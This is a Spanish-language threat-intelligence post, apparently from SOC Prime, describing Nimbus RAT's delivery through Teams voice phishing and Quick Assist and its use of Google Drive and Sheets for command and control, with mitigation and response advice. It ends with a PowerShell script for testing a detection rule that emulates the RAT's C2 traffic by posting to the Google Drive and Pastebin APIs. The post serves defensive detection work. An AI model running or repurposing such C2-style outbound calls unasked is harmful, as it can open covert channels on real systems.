SOC Prime Bias: Medio

05 Jun 2026 15:31 UTC

Nimbus RAT Entregado a Través de Microsoft Teams y Google Drive

Author Photo
SOC Prime Team linkedin icon Seguir
Nimbus RAT Entregado a Través de Microsoft Teams y Google Drive
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Los actores de amenazas utilizaron el phishing de voz de Microsoft Teams junto con Quick Assist para desplegar un troyano de acceso remoto basado en Java conocido como Nimbus RAT. El malware se basa en Google Drive y Google Sheets como sus canales de comando y control e incluye su propio entorno de ejecución OpenJDK integrado. Para el robo de credenciales, utiliza un falso aviso de seguridad de Windows o la API CredUI nativa para capturar secretos del usuario.

Investigación

El equipo de Respuesta a Amenazas de eSentire reconstruyó la cadena completa de intrusión utilizando registros de flujo de correo, telemetría de endpoints y análisis estático del malware Java. La campaña combinó bombardeo de correo electrónico, una llamada de suplantación de voz basada en Teams, soporte remoto de Quick Assist, una hoja de instrucciones alojada en Pastebin y un inquilino de SharePoint comprometido utilizado para distribuir la carga útil.

Mitigación

Las defensas recomendadas incluyen desactivar la mensajería externa de Teams de inquilinos desconocidos, bloquear Quick Assist donde no sea necesario, alertar sobre picos en la actividad de bombardeo de correo electrónico, monitorear javaw.exe ejecución desde ubicaciones inusuales y detectar llamadas sospechosas a la API de Google Drive iniciadas por procesos inesperados.

Respuesta

Si se detecta actividad de Nimbus RAT, aislar el sistema afectado, terminar todos los javaw.exe procesos relacionados, eliminar el C:ProgramDataInboxCorePro directorio y cualquier acceso directo asociado de inicio y considerar una reimagen completa del sistema. Revisar también los registros de auditoría de Google Workspace para identificar cualquier concesión no autorizada de aplicaciones de Google Drive.

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación Previa de Telemetría y Línea Base debe haberse aprobado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:
    El actor de la amenaza ya ha comprometido el endpoint con el binario de Nimbus RAT. Para establecer un canal C2 encubierto, el RAT emite dos solicitudes HTTP POST hacia afuera:

    1. Llamada API de Google Drive – carga un pequeño payload JSON a https://www.googleapis.com/drive/v3/files?uploadType=media, imitando el comportamiento de “descarga-payload” del RAT.
    2. Pegar en Pastebin – publica una cadena de comando codificada en base-64 a https://pastebin.com/api/api_post.php utilizando la clave de API pública.

    Ambas solicitudes se ejecutan a través de Invoke-WebRequest de PowerShell para asegurar que los registros del firewall contengan el dominio campo (googleapis.com and pastebin.com). El atacante ejecuta los comandos bajo el contexto del usuario comprometido para mezclarse con la actividad normal.

  • Script de Prueba de Regresión:

    # --------------------------------------------------------------
    # Simulación C2 de Nimbus RAT – activa la regla Sigma en coincidencia de dominio
    # --------------------------------------------------------------
    
    # 1. Carga simulada de API de Google Drive (sin autenticación – se centra en la telemetría de dominio)
    $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json
    $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media"
    
    try {
        Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload `
            -ContentType "application/json" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Enviado carga simulada a API de Google Drive"
    } catch {
        Write-Warning "Solicitud a Google Drive fallida (esperado en sandbox): $_"
    }
    
    # 2. Publicación de API pública de Pastebin (requiere una clave de desarrollador – usando un marcador de posición)
    $pastebinKey   = "YOUR_PUBLIC_API_KEY"    # <-- reemplazar con una clave válida para una prueba real
    $pastebinText  = "echo 'Comando simulado desde C2'" 
    $pastebinUri   = "https://pastebin.com/api/api_post.php"
    $pastebinBody  = @{
        api_dev_key = $pastebinKey
        api_option  = "paste"
        api_paste_code = $pastebinText
        api_paste_private = "1"
    }
    
    try {
        Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody `
            -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Publicado comando simulado a Pastebin"
    } catch {
        Write-Warning "Solicitud a Pastebin fallida (esperado en sandbox): $_"
    }
    
    # --------------------------------------------------------------
    # Fin de la simulación
    # --------------------------------------------------------------
  • Comandos de Limpieza:

    # Eliminar cualquier archivo o variable temporal utilizada durante la simulación
    Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue
    Write-Host "[*] Limpieza completa."